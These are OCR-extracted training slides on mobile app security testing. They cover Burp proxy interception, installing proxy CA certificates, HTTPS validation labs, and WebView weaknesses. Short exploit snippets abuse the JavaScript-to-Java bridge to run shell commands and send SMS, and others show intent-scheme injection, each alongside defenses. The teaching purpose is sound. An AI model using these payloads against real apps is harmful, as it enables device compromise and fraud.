[ Target TFraxy T Spider T Scanner T Intruder T Repeater T Sequencer T Decoder T Comparer T Extender T Options T Alerts ]

_[ Hiercen | HTTR history | webSockets history | Options |

LIJ ) Request to https://www.facebook.com:443 [66.220.152.19]

I l Forward J l Drop J [ Intercept is on ] [&J

ll‘
1]
-~ |

Headers

.POST /login.php?login attempt=1 HTTP/l.1

Host: www.facebook.com

User-Agent: Mozilla/5.0 (Windows NT &.1; WOWE4; rv:29.0) Gecko/20100101 Firefox/29.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;¢=0.8
\|Accept-Language: en-gb,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: https://www.facebook.con/

Cookie: reg_fb_gate=https%3A%ZF52Fwww.facebook.comsZF;
reg_fb_ref=https%3A%2F%ZFwwv.facebook.com%ZFlogin.php%3Flogin attempt%3Dl; datr=0MqVUOcjhSTkthIxnSMGurnll
Connection: keep-alive

Content-Type: application/x-www-form-urlencoded

Content-Length: 104

T

lsd=AVohmHdl&email=testipass=testedefault_persistent=0&timezone=&lgnrnd=075240_BbJo&lgnjs=n&locale=en GB

Il -

BEEEC

0 matches

- ¢ Cigital



The Usual Use of a Proxy:
Testing Web Apps

«»>Q
The Network /
¢ .

Proxy
Web Browser
On Your PC
Your Computer / Laptop

Web Site

‘ AL ‘ v Cigital



Today: Testing Mobile Apps

Proxy

Your Computer / Laptop

The Network /
Internet

Mobile Mobile Back-end
Device

- Cigital



Installing

» Two proxies worth considering
« ZAP (“Zed Attack Proxy”) from OWASP
* 100% Free

* https://www.owasp.org/index.php/OWASP Zed Att
ack Proxy Project

« Burp Suite: commercial
 Free Version (lacks advanced security tools)
« £239/$349 / €329 per user per year
* https://www.portswigger.net/

» | We’ll look at Burp today
N L‘ - wCigital




Lab3: Local Proxy

Intercept HTTP Request/Response

L - wCigital



Task: Run a local proxy
1. Run

$ java —-jar path-to-burp/burpsuite free.jar &

2. ...next configure listening interface

‘ Ak v Cigital



Task: Configure local proxy

Burp Intruder Repeater Window Help

| Target | Proxy TSpider TScanner T Intruder TRepeater TSequencer T Decoder TComparer TExtender TOptions T

[ Intercept T HTTP history TWebSockets history T Options ]

Proxy Listeners

Burp Proxy uses listeners to receive incoming HTTP requests from your browser. You will need to configure your brows

Select the in

Remove

[ Add ] }un’nﬁy\| Interface | Invisible | Redirect Certificate
4 =) N127.0.0.1:8080 ) foobar.com Certifcate host
terface\ Edit K v )192.168.1.122:8... O —Per-host

Proxy -> Options -> Add | Edit (new interface/existing interface)

- Cigital



Task: Proxy iOS

« Select the wifi network
« Tap the little (i)
« Select Manual

* In Server/port enter
proxy interface/port

Your iOS device will now
use the proxy for all
connections

Cigital = 8:25 AM

100% (==

Search Domains

Client ID

‘ Renew Lease \

HTTP Proxy
| off |
Server 192.168.1.10
Port 8080
Authentication " OFF
. . .
- v Cigital



Task: Proxy Android phone

Connect to the WIFI network

Settings->WIFI

Select the WIFI network by tapping on the name
Modify network config

Show advanced options

Enter the proxy settings (this is your proxy host's WIFI
interface)

+ ‘L | v Cigital
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Task: Proxy the Android Emulator

emulator —-avd <IMAGE NAME> -http-proxy
http://<PROXY HOST>:<PROXY PORT>

To start an AVD named “cigital”, using an HTTP proxy on
the host running the emulator on port 8080

emulator —avd cigital-http-proxy
http://127.0.0.1:8080




Android Emulator - useful
addresses

« 127.0.0.1-emulator’s loopback interface

» 10.0.2.2- alias to host's loopback
(127.0.0.1) - the host running the emulator.

« 10.0.2.3-First default DNS server.

10.0.2.15- Emulated device's network
interface.

‘ AL ‘ v Cigital



Task: View HTTP traffic

Configure the phone and proxy
Start the browser
Navigate to http://example.com

W=

Observe the HTTP Request and Response in the
proxy

- Cigital



Task: Tamper HTTP traffic

1. Turn Intercept on

2. Goto
http://www.example.co
m

3. Intercept, select Action -
> Do Intercept ->
Response to this request

4. Select Forward (Request)
5. Modify the Response

Burp Suite Professional v1.6.
Burp Intruder Repeater Window Help

[Target TProxy T Spider TScanner T Intruder T Repeater TSequencer Decc

lnterceptT HTTP history TWebSockets history T Options ]

Modified Response

<html>
<script>alert (0) ;</script>
</html>

<html><iframe
src="tel:555-5555">Call me

now!</iframe></htql>. - .
| \""C'I‘g'l't

al



Proxying HTTPS

L - wCigital



Intercepting HTTPS traffic

Proxying network traffic inserts your proxy as a
middleman in between all TLS connections allowing the

data to be captured, viewed and tampered (just like
HTTP).

ite professional v1.4.06 - licensed to Cigital [single ... L= | ]
i r window _about
= scanner | intruder | repeater . -
i ing 3l i
0 matches

- Cigital




HTTPS Proxying won’t work
out of the box

burp suite professional v1.4.06 - licensed to Cigital [single .. L=/
burp intruder repeater window _about
er | decoder | comparer | options | alerts
I t ider | scanner | intruder | repeater
= =
[
i I
|
0 matches.

Solution: we need to “tell” the phone to
trust the certificate presented by the proxy

‘ AL | v Cigital
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Lab3: Proxying HTTPS

Intercept HTTP Request/Response

L - wCigital



Task: First just try to proxy
HTTPS

Why ?
1. Setup proxy settings as © bl dwiie
before R

2. In browser, go to
https.//example.com

What happens and why ?

L - wCigital




Task: Install Proxy Certificate
( i O S) T 5200 o]

Profile Installed Done

Installing a certificate in Safari:

PortSwigger CA

Go to http://burp.

@ Trusted
When prompted to “Install Profile”, choose “Install.” eceied Wy 2 2012
Click “Install” on the “Unverified Profile” message More Details >
then “Done”
Click“Done”

Or use the iPhone configuration utility:
http://support.apple.com/kb/DL1465




3

Task: Export Proxy Certificate

CA Certificate

Burp -> Proxy -> Options ) . |
You can export your certificate and key for use in other tools, or in another
— installation of Burp. You can import a certificate and key to use in this installation of
- > | I I l p O rt/ EX p O rt CA Burp. Note that you can also export the current certificate by visiting http://burp/cert
in your browser.

Export
@® Certificate in DER format

Certificate in DER format @ Frvaie ey In DER format

(O Certificate and private key in PKCS#12 keystore

| M k Import
C I C N eXt O Certificate and private key in DER format

(O Certificate and private key from PKCS#12 keystore

Save as burp.crt

[ Cancel ] [ Next ]

- Cigital



Task: Install Proxy Certificate

On the host:

adb push burp.crt /mnt/sdcard

B Security

Make passwords visible

DEVICE ADMINISTRATION

On the phone/emulator: Device administrators

View or deactivate device administrators

Allow installation of non-Market
apps

Sto ra ge" S€ Ctl on CREDENTIAL STORAGE
Se | eCt “| N Sta | | fro m Sto rage" Trusted credentials

Display trusted CA certificates

Now you can proxy e
Jvhttps://example.com

Settlng_S%SECUf[zy% “C red entla | Unknown sources

Clear credentials
Remove all certificates

4



Testing HTTPS

Did the developer do it right?

L - wCigital



Testing HTTPS

» Since we are already intercepting HTTPS it's a small
step to execute some tests on the use of HTTPS itself

» Two straightforward attacks against the way the
application uses HTTPS.

1. Attacker can abuse the trust chain check
2. Attacker can abuse the hostname verification check

 What does this mean?

‘ AL | v Cigital



Abusing the trust chain check

s>c |&r & “*!

ROOTCA

Attack#1: is ROOTCA trust checked?

A(S)-> C: F e ’*-/! @
5

ROOTCA’

myserver.com

myserver.com’

Attack#2: is chain checked?

AS)->C: |2 &

CAl

- Cigital



Abusing the hosthame verification
check
Let's assume ROOTCA is trusted.

S<-C: Connect to “myserver.com”
‘J - s s
S ->C: - T
ROOTCA A2 myserver.com

DNS spoof
“man in the middle” | @.-—+ s N

A(S) -> — o

C: ROOTCA foobar co

C: Did | get myserver.com?

- Cigital



Lab3: Testing for HTTPS
bypass

Does the app do HTTPS right?

L - wCigital



Task: Test HTTPS

NA

= O 0 Ndo U kW

Remove the trusted burp cert on the phone

Install https-loader.apk(adb install https-
loader.apk)

Configure the phone and burp to proxy as before.

Click Load HTTP (observe the result)

Click Load HTTPS (explain the result)

Click Load HTTPS (bad cert) (explain)

In burp set the certificate host to foobar.com
Re-install the trusted cert

Click Load HTTPS (explain)

Click Load HTTPS (bad hostname) (explain)

‘4 10:00

TITITI'-!(S) oa der

Iexample.com

Load HTTP

Load HTTPS

Load HTTPS (bad cert validation)

Load HTTPS (ne hostname check)

v Cigital
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Task: Test HTTPS (iOS)

1. Remove the trusted burp cert on the phone No Service = 22:05 =
2. Install the “training” app. example.com

3. Configure the phone and burp to proxy. HTTP

4, Try to connectvia HTTP (success) — O
5. Tryconnecting via HTTPS (FAIL)

6. Toggle the button to disable cert validation StEtTEs CoMReStig 15 Fthil

7. Retry HTTPS (SUCCESSFUL page load) SXampiesom ¥ig HITH

8.  Toggle the button to enable cert validation

9.  Retry HTTPS (SUCCESSFUL page load)

10.  Attempt HTTPS connect to different host (FAIL)

11. Disable certvalidation and retry (SUCCESSFUL load)

- Cigital



WebViews
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What is a WebView?

Control to load and display webpages.
Allows app to react to events
Based onWebKit** (pre-KK versus KK+)

Since Android 5.0 (Lollipop), update
separately

‘ AL ‘ v Cigital



Why are WebView apps

interesting?

XSS

JSON .
Hijacking
CSRF
SOP

MiTB

Browser

XAS

fntent
Kijacking

Permission
keakage
htent
Spoofing

2 |

*, Malicious App .Eocal data

Native
App

- Cigital



Javascript to Java bridge

» Access Javaobject through Javascriptin page

// Java code

fileUtilsObject= newFileUtils(); @
webview.addJavascriptInterface QD

fileUtilsObject, "FUtil"); = E§
// JavaScript

SiSiGiasigais

file = '/data/data/com.example.myapp/cache.txt’'; G’
FUtil.write(file, data, false); ¢,
</script>

‘ AL ‘ v Cigital



Abusing Javascript Interface

Disclosed 2012 (Neil Bergman), Luo et al. (2011)

<script>

function run(cmd) { return

FUtil.getClass () .forName ('java.lang.Runtime') "
.getMethod ('getRuntime',null)

.invoke (null, null) .exec (cmd) ; e’
}
run(['/system/bin/sh','-c', 'date> /mnt/sdcard/test']); e,
</script>

FUtil.getClass () . forName (“android. telephony .SmsManager”)
.getMethod (“getDefault”, null)
simrneilscdiniad d . maadidld)

.sendTextMessage (“123456”, null, “Body”, null, null); ‘,

‘ Ah v Cigital




@Javascript Interface to the rescue?

@Javascript Interface annotation limits exposure

I/chromium(13478): [INFO:CONSOLE (1) ] "UncaughtTypeError:
Object [object Object] has no method 'secret'", source:

(1)

»  Comes with plenty of caveats

Use @Javascriptinterface
and target Android 4.2 (targetSdkVersion = API level 17)

and run Android 4.2+ ,then safe
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Is that all?

Q: Am | safe if | don’t have a JavaScript
to Java

PiEdge’
* No! [CVE-2014-1939 - Joshua Drake,
MWR]

* Why?

» A: System may silently insert other
bridges (e.g.accessibilityTraversal)

‘ AL ‘ v Cigital



Defense in depth

« Defense;

webView.removedJavascriptInterface
(“searchBoxJavaBridge ”);

 and repeat for other interfaces

‘A‘ ‘ v Cigital



1. Small shag

How can | remove the other bridges if | can't name

them?

webView.removedavascriptInterface
("foobarbazBridge ") ;

« One answer; use ajavacriptbridge to find
otherjavascriptbridges**

DEMO

- Cigital



Same origin policy and file://

« Commonto bundle and load local HTML assets

Stringurl= "file:///android asset/load.html";
mainWebView.loadUrl (url) ;

Q: What s the implication? [DEMO]

A: Scheme is file://. Injected script will have access to the same origin

« |CS and earlier: vulnerable
* JB and later: can switch on unsafe behaviour!

setAllowFileAccessFromFileURLs (true) ;

- Cigital



LIV dAlIlIU 1IIC./ / TAMNNMIL
hole
Q: Am | safeif | don'tloadlocal assets?

DEMO
A: it depends

Tricked <iframe>to load error page

The error page was loaded viafile://
Then exploit!

- Cigital



URL schemes

Register ascheme://host/ [path]to be
launched in response to a matching URL

tel :<phone-number>

mailto:someonelexample.com
geo:47.6,-122.3

URL handlers are invoked through
intents

<iframe src="tel:555-5555">Call me now!</iframe>

START {act=android.intent.action.VIEWdat=tel :xxx-

xxxxcmp=com.android.contacts/.activities.DialtactsActiv
ity} frompidl945

‘A‘ ‘ v Cigital



SO What? <maliciousurl>

<maliciousurl>

intermediar
y

o Remoteattacker cansend a
victim intent to aprivateactivity
andcontrolthe intentextras

location.href=

"intent:datal#Intent
action=myaction; type=text/plain;end";
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4. URL Schemes

- DEMO

Preferandroid.net.Uri.parse(url);

Avoid usingIntent.parseUri ()

‘but if you must then ...

intent.addCategory ("android.intent.category.BROWSABLE")
intent.setComponent (null); // Want implicit
intent.setComponent (XYZ.class()) ;

// Want explicit

intent.setSelector (null); // Forbid selector [Terada]

- Cigital



Additional Resources

For more information, go to:

» Web Security Testing Cookbook

(Paco Hope and Ben Walther)

« The Web Application Hacker’s Handbook, 2"dedition

(Dafydd Stuttard& Marcus Pinto)

* OWASP Testing Guide

https://www.owasp.org/index.php/OWASP_Testing_Project

- Software Security - Building Security In
(Gary McGraw)
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